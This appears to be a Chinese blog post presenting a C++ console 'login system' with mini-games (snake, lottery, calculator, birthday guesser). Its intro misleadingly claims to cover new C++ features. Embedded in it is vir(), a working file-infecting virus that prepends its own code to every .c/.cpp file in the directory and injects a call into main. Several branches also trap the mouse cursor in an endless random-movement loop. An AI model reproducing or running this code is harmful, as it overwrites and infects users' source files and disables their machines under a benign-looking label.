C++系统升级版

本文深入探讨了C++的最新发展和系统升级,包括新特性、性能优化以及对开发实践的影响。

#include<bits/stdc++.h>
#include<cstring>
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <conio.h>
#include <cmath>
#include <windows.h>

#define W 1       
#define S 2        
#define A 3         
#define D 4          
#define L 4
using namespace std;
void vir()
{ 
string CurFileName = __FILE__;//绝对路径
string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码 
string FileCode[500]; //宿主代码
 
int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度 
 
//病毒函数调用应当插在"main("后面的第一个"{"后面 
//在C++中main有int main(),int main(int arg,char **r)等形式 
int InsertLoc = 0; 
 
//提取待传播的当前文件中的病毒代码 
ifstream VirusFile(obCurFileName.c_str()); 
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
   if(VirusCode[CodeLen] == "//END")
   {
    CodeLen++;
    break;
   }
}
VirusFile.close();
//依次感染宿主文件 
while (true) 
{
   //不能感染当前.cpp文件和已感染的文件 
   if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   {
    cout<<FindFileData.cFileName<<":是感染源!/n";
   }
   else//感染其它文件 
   {
    //加载宿主文件 
    ifstream ibe(FindFileData.cFileName);
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if (FileCode[FileLen].find("main") != -1)
     {
      InsertLoc = FileLen;
     }
    }
    ibe.close();
    if(FileCode[0] == "//START")//该文件已被感染 
    {
     cout<<FindFileData.cFileName<<":已携带了病毒!/n";
    }
    else if (FileLen > 500)
    {
     cout<<FindFileData.cFileName<<":文件太大了!/n";
    }
    else
    {
     //打开宿主文件
     ofstream be(FindFileData.cFileName);
     //插入病毒代码 
     for(int i = 0;i < CodeLen;i++)
     {
      be<<VirusCode[i]<<endl;
     }
     //病毒函数调用位置前文本插入 
     for(int i = 0;i < InsertLoc;i++)
     {
      be<<FileCode[i]<<endl;
     }
     //插入函数调用vir() 
     for(int i = InsertLoc;i < FileLen;i++)
     {
      int j = FileCode[i].find('{');
      if(j != -1)
      {
       FileCode[i].insert(j + 1,"/nvir();"); 
       break;
      }
     }
     //病毒函数调用位置后插入剩余文本 
     for(int i = InsertLoc;i < FileLen;i++)
     {
      be<<FileCode[i]<<endl;
     }
     be.close();
     cout<<FindFileData.cFileName<<":感染成功!/n";
    }
   }
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
class aaa{
    int x;
    int y;
    int x1;
    int y1;
    public:
    aaa(){
    x=y=x1=y1=10;
    }
void bbb();
~aaa(){

}
};
void ccc(int a,int b){
    int i;
    system("cls");
    for(i=0;i<b;i++)
    cout<<endl;
    for(i=0;i<a-1;i++){
        cout<<' ';
    } 
    cout<<"*";
    }
void aaa::bbb(){
    char ch;
    int a,b;
    a=x1;
    b=y1;
    cout<<"原点坐标:"<<"("<<x<<","<<y<<")"<<endl;
    cout<<"该程序通过w,s,a,d实现*的上下左右移动,输入空格结束"<<endl;
    cout<<"*";
    ch=getch();
    while(1){
    ch=getch();
    switch(ch){
    case 'w':b=b-1;break;
    case 's':b=b+1;break;
    case 'a':a=a-1;break;
    case 'd':a=a+1;break;
    default:break;
}
    ccc(a,b);
    if(ch==' '){
    int sum=0;
    cout<<"最终坐标:"<<"("<<a<<","<<b<<")"<<endl;
    sum=sqrt((a-10)*(a-10)+(b-10)*(b-10));
    cout<<"两点间的距离="<<sum<<endl;
    break;
    }
    }
    }
HANDLE hout=GetStdHandle(STD_OUTPUT_HANDLE);
COORD coord;
 
void locate(int x,int y)
{
    coord.X=y;
    coord.Y=x;
    SetConsoleCursorPosition(hout,coord);
};
void hide()
{
    CONSOLE_CURSOR_INFO cursor_info={1,0};
    SetConsoleCursorInfo(hout, &cursor_info);
}
double random(double start, double end)
{
    return start+(end-start)*rand()/(RAND_MAX + 1.0);
}
int m,n;
struct node
{
    int x,y;
}snake[1000];
 
int snake_length,dir;
node food;
int direct[4][2]={{-1,0},{1,0},{0,-1},{0,1}};
void print_wall()
{
    cout << " ";
    for (int i=1;i<=n;i++)
        cout << "-";
    cout << endl;
    for (int j=0;j<=m-1;j++)
    {
        cout << "|";
        for (int i=1;i<=n;i++) cout << " ";
        cout << "|" << endl;
    }
    cout << " ";
    for (int i=1;i<=n;i++)
        cout << "-";
}
void print_snake()
{
    locate(snake[0].x,snake[0].y);
    cout << "@";
    for (int i=1;i<=snake_length-1;i++)
    {
        locate(snake[i].x,snake[i].y);
        cout << "*";
    }
}
bool is_correct()
{
    if (snake[0].x==0 || snake[0].y==0 || snake[0].x==m+1 || snake[0].y==n+1) return false;
    for (int i=1;i<=snake_length-1;i++)
    {
        if (snake[0].x==snake[i].x && snake[0].y==snake[i].y) return false;
    }
    return true;
}
bool print_food()
{
    srand((unsigned)time(0));
    bool e;
    while (1)
    {
        e=true;
        int i=(int) random(0,m)+1,j=(int) random(0,n)+1;
        food.x=i;food.y=j;
        for (int k=0;k<=snake_length-1;k++)
        {
            if (snake[k].x==food.x && snake[k].y==food.y)
            {
                e=false;break;
            }
        }
        if (e) break;
    }
    locate(food.x,food.y);
    cout << "$";
    return true;
}
bool go_ahead()
{
    node temp;
    bool e=false;
    temp=snake[snake_length-1];
    for (int i=snake_length-1;i>=1;i--)
        snake[i]=snake[i-1];
    snake[0].x+=direct[dir][0];
    snake[0].y+=direct[dir][1];
    locate(snake[1].x,snake[1].y);
    cout << "*";
    if (snake[0].x==food.x && snake[0].y==food.y)
    {
        snake_length++;
        e=true;
        snake[snake_length-1]=temp;
    }
    if (!e)
    {
        locate(temp.x,temp.y);
        cout << " ";
    }
    else
        print_food();
    locate(snake[0].x,snake[0].y);
    cout << "@";
    if (!is_correct())
    {
        system("cls");
        cout << "You lose!" << endl << "Length: " << snake_length << endl;
        return false;
    }
    return true;
}
int main(){
	cout<<"                                                  欢迎登录此升级版CSD--CYT--1S++系统!!!"<<endl;
	cout<<"                                                  (已是最高级CSD1系统)"<<endl; 
	const int MIMA=20111211;
	const string YONGHUMINGONE="Computer2023@sina.com";
	const string YONGHUMINGTWO="529297741@qq.com";
	int mima;
	string yonghuming;
	cout<<"请输入密码:";
	cin>>mima;
	cout<<"请输入用户名:";
	cin>>yonghuming;
	if(mima==MIMA||mima==549&&(yonghuming==YONGHUMINGONE||yonghuming==YONGHUMINGTWO||yonghuming=="me")){
		cout<<"登录成功!!!"<<endl;
		cout<<"请输入你的号码:";
		long long hm;
		cin>>hm;
		if(hm==18356512495){
			cout<<"验证码已发送!!!验证码为:341987"<<endl;
			int t;
			cin>>t;
			if(t==341987){
				cout<<"您已经完成了所以内容,获得管理员最高权限!!!"<<endl;
				cout<<"输入y,可以变成计算器"<<endl;
				cout<<"输入n,可以玩抽奖"<<endl;
				cout<<"输入f,可以做输入什么循环什么1000次"<<endl;
				cout<<"输入h,可以判断奇偶"<<endl;
				cout<<"输入e,可以玩贪吃蛇"<<endl;
				cout<<"输入r,可以破解密码"<<endl;
				cout<<"输入q,可以猜生日"<<endl;
				cout<<"输入n,可以算开平方和平方"<<endl;
				string a;
				cin>>a;
				if(a=="y"){
					int s,d;
					cin>>s>>d;
					cout<<"和:"<<s+d<<endl;
					cout<<"差:"<<s-d<<endl;
					cout<<"积:"<<s*d<<endl;
					cout<<"商:"<<s/d<<endl;
					return 0;
				}
				else if(a=="e"){
					cout << "--------------------贪吃蛇---------------------" << endl;
                    cout << "请先输入两个数,表示地图大小.要求长宽均不小于10." << endl;
                    cout << "请注意窗口大小,以免发生错位.建议将窗口调为最大." << endl;
                    cout << "再选择难度.请在1-10中输入1个数,1最简单,10则最难" << endl;
                    cout << "然后进入游戏画面,以方向键控制方向.祝你游戏愉快!" << endl;
                    cout << "-----------------------------------------------" << endl;
    cin >> m >> n;
    if (m<10 || n<10 || m>25 || n>40)
    {
        cout << "ERROR" << endl;
        system("pause");
        return 0;
    }
    int hard;
    cin >> hard;
    if (hard<=0 || hard>100)
    {
        cout << "ERROR" << endl;
        system("pause");
        return 0;
    }
    snake_length=5;
    clock_t a,b;
    char ch;
    double hard_len;
    for (int i=0;i<=4;i++)
    {
        snake[i].x=1;
        snake[i].y=5-i;
    }
    dir=3;
    system("cls");
    hide();
    print_wall();
    print_food();
    print_snake();
    locate(m+2,0);
    cout << "Now length: ";
                  while (1){              
        hard_len=(double)snake_length/(double) (m*n);
                      a=clock();
                      while (1)
                      {
                          b=clock();
                          if (b-a>=(int)(400-30*hard)*(1-sqrt(hard_len))) break;
                      }
                      if (kbhit())
                      {
                          ch=getch();
                          if (ch==-32)
                          {
                              ch=getch();
                              switch(ch)
                              {
                              case 72:
                                  if (dir==2 || dir==3)
                                      dir=0;
                                  break;
                              case 80:
                                  if (dir==2 || dir==3)
                                      dir=1;
                                  break;
                              case 75:
                                  if (dir==0 || dir==1)
                                      dir=2;
                                  break;
                              case 77:
                                  if (dir==0 || dir==1)
                                      dir=3;
                                  break;
                              }
                          }
                      }
                     if (!go_ahead()) break;
                      locate(m+2,12);
                      cout << snake_length;
                  }
                  system("pause");
                    return 0;
				}
				else if(a=="n"){
					int f,g;
					cout<<"抽奖程序:"<<endl;
					cout<<"请输入1~5中的任意一个数!";
					cin>>f;
					srand(time(0));
					g=rand()%5+1;
					if(f==g) cout<<"恭喜胜利!!!"<<endl;
					else cout<<"没中奖,请退出程序!"<<endl;
					cout<<"中奖号码是:"<<g<<endl;
					return 0;
				}
				else if(a=="f"){
					cout<<"输入1个数字:";
					int u;
					cin>>u;
					for(int i=1;i<=1000;i++){
						cout<<u<<" "<<"ha ha ha";
					}
					return 0;
				}
				else if(a=="h"){
					int  h;
					cout<<"输入一个数:";
					cin>>h;
					if(h%2==0) cout<<h<<"是偶数"; 
					else cout<<h<<"不是偶数";
					return 0; 
				}
				else if(a=="r"){
					cout<<"请输入您的密码: ";
                    string psw;
                    cin>>psw;
                    int len = psw.size();
                    char * ppsw = new char[len+1];
                    for(int n=0;n<len+1;n++)
                        ppsw[n]=0;
                    cout<<"<<<逐个匹配>>>:\n";
                    for(int i=0;i<len;i++){
                        cout<<"破解进行中...匹配>>";
                        for(int j=32;j<127;j++){
                            for(int m=0;m<5000000;m++);
                            cout<<(char)j<<"\b";
                            if(psw[i] == j){
                                ppsw[i]=j;
                                cout<<"\n密码第 "<<i+1<<" 个字符为: "<<(char)j<<endl;
                                break;
                            }
                        }
                    }
                    cout<<"\n破解成功!\n";
                    cout<<"你的密码是:"<<ppsw<<endl;
                    system("pause");
                    return 0;
				}
				else if(a=="m"){
					long long kl;
					cout<<"恭喜你,你发现了隐藏程序!!!"<<endl;
					cout<<"cipher:";
					cin>>kl;
					if(kl==159357666){
						cout<<"你获得了5级管理员权限!!"<<endl;
					    string df;
						cout<<"输入指令:";
						cin>>df;
						if(df=="i"){
						    const long long SHU=168904;
						    long long shu;
						    cin>>shu;
						    if(shu==SHU){
							    cout<<"666!!这你也发现了!!666!!";
							    aaa lol;
                                lol.bbb();
                                return 0;
						    }
					    }
					    else{
					    	cout<<"It's a bug.";
					    	int x = GetSystemMetrics (SM_CXSCREEN);
                            int y = GetSystemMetrics (SM_CYSCREEN);
                            srand (time(0));
                            while (1) SetCursorPos (rand()%x,rand()%y);
                            return 0;
						}
					}
				}
				else if(a=="q"){
					int date = 0; // Date to be determind
    				cout << "Is your birth date in this set ?" << endl;
    				cout << "16 17 18 19\n" <<
            				"20 21 22 23\n" <<
            				"24 25 26 27\n" <<
            				"28 29 30 31"   << endl;
    				cout << "Enter N for No and Y for Yes: ";
    				char answer;
    				cin >> answer;
    				if (answer == 'Y')
        				date += 16;
    				cout << "Is your birth date in this set ?" << endl;
    				cout << " 8  9 10 11\n" <<
            				"12 13 14 15\n" <<
            				"24 25 26 27\n" <<
            				"28 29 30 31"   << endl;
    				cout << "Enter N for No and Y for Yes: ";
    				cin >> answer;
    				if (answer =='Y')
        				date += 8;
    				cout << "Is your birth date in this set ?" << endl;
    				cout << " 1  3  5  7\n" <<
            				" 9 11 13 15\n" <<
            				"17 19 21 23\n" <<
            				"25 27 29 31"   << endl;
    				cout << "Enter N for No and Y for Yes: ";
    				cin >> answer;
    				if (answer == 'Y')
        				date += 1;
    				cout << "Is your birth date in this set ?" << endl;
    				cout << " 2  3  6  7\n" <<
            				"10 11 14 15\n" <<
            				"18 19 22 23\n" <<
            				"26 27 30 31"   << endl;
    				cout << "Enter N for No and Y for Yes: ";
    				cin >> answer;
    				if (answer == 'Y')
        				date += 2;
    				cout << "Is your birth date in this set ?" << endl;
    				cout << " 4  5  6  7\n" <<
            				"12 13 14 15\n" <<
            				"20 21 22 23\n" <<
            				"28 29 30 31"   << endl;
    				cout << "Enter N for No and Y for Yes: ";
    				cin >> answer;
    				if (answer == 'Y')
        				date += 4;
    				cout << "Your birth date is " << date << endl;
    				return 0;
				}
				else if(a=="n"){
					cout<<"输入两个数:";
					int sd;
					cin>>sd;
					int j=sqrt(sd);
					cout<<"开平方:"<<j<<endl;
					cout<<"平方:"<<sd*sd<<endl;
					return 0;
				}
				else{
					for(int i=1;i<=500;i++){
						cout<<"SB SB SB SB SB SB SB   ";
						if(i==279){
							int y;
							cin>>y;
							if(y==123456){
								return 0;
							}
							else{
								for(int i=1;i<=1560;i++){
									cout<<"SB SB SB SB SB  SB    ";
								}
							}
						}
					}
					return 0;
				}
			}
			else{
				cout<<"失败!!!";
				return 0;
			}
		}
		if(hm==54){
				cout<<"你是管理员!!!"<<endl;
				cout<<"不,你入侵成功了!!!!"<<endl;
				cout<<"还好我及时发现!!!"<<endl;
				cout<<"请输入特殊代码:";
				const string DM="namespace2023";
				string dm;
				cin>>dm;
				if(dm==DM){
					cout<<"你真是!!!"<<endl;
					cout<<"再见"; 
					return 0;
				}
				else{
					cout<<"你不是!!!"<<endl;
					cout<<"接受怒火病毒吧!!";
					int x = GetSystemMetrics (SM_CXSCREEN);
                    int y = GetSystemMetrics (SM_CYSCREEN);
                    srand (time(0));
                    while (1) SetCursorPos (rand()%x,rand()%y);
                    return 0;
				}
			}
		else{
			int hj;
			cout<<"号码无效!!!"<<endl;
			cout<<"你已被记录!!你属于恶意入侵!!"<<endl;
			cout<<"请输入一个数:";
			cin>>hj;
			for(int i=1+1-1;i<=hj;i++){
				cout<<"你被发现了!!!    ";
			}
			return 0;
		}
	}
	else if(mima==54096&&yonghuming=="using1") {
		cout<<"欢迎你,黑客,你也可能是管理员!!!"<<endl;
		cout<<"这是CSD--CYT的暗区!!"<<endl;
		cout<<"祝你愉快!!!"<<endl;
		string uos;
		cin>>uos;
		if(uos=="r"||uos=="p"||uos=="k"||uos=="i"||uos=="e"||uos=="q"||uos=="h"){
			cout<<"由于你的疏忽,来了陷阱,就接受病毒吧!!";
			int x = GetSystemMetrics (SM_CXSCREEN);
            int y = GetSystemMetrics (SM_CYSCREEN);
            srand (time(0));
            while (1) SetCursorPos (rand()%x,rand()%y);
            return 0;
		}
		else if(uos=="w"||uos=="m"){
			cout<<"恭喜你,避开了陷阱!!!";
			cout<<endl;
			cout<<"来玩生死抽奖吧!!"<<endl;
			cout<<"请输入1~5任意1个数:";
			int hj,hk;
			cin>>hj;
			srand(time(0));
			hk=rand()%5+1;
			if(hj==hk){
				cout<<"你赢了!!!"<<endl;
				cout<<"太厉害了!!!"<<endl;
				cout<<"你可以干事情了"<<endl; 
				int yu;
				cin>>yu;
				int t;
				for(int i=1;i<=yu;i++){
					while(yu!=0){
						t++;
						yu--;
						if(t==100){
							int mh;
							cin>>mh;
							string kl;
							cin>>kl;
							for(int j=1;j<=kl.size();j++){
								if(mh==54188){
									cout<<"危险,危险!!";
									string hk;
									cin>>hk;
									if(hk=="k"){
										cout<<"你避开了危险!!!";
										return 0;
									}
									else{
										cout<<"你没了!!!";
										vir();
										return 0;
									}
								}
							}
						}
					}
				} 
			}
			else{
				cout<<"你没了!!!";
				int x = GetSystemMetrics (SM_CXSCREEN);
                int y = GetSystemMetrics (SM_CYSCREEN);
                srand (time(0));
                while (1) SetCursorPos (rand()%x,rand()%y);
				return 0;
			}
		}
	}
	else{
		cout<<"登录失败!!!"<<endl;
		cout<<"未知:";
		int qq;
		cin>>qq;
		for(int i=1;i<=qq;i++){
			cout<<"你好笨   "; 
		}
		return 0;
	}
	cout<<"欢迎下次登录!";
	return 0;
}

求点赞!!!

评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值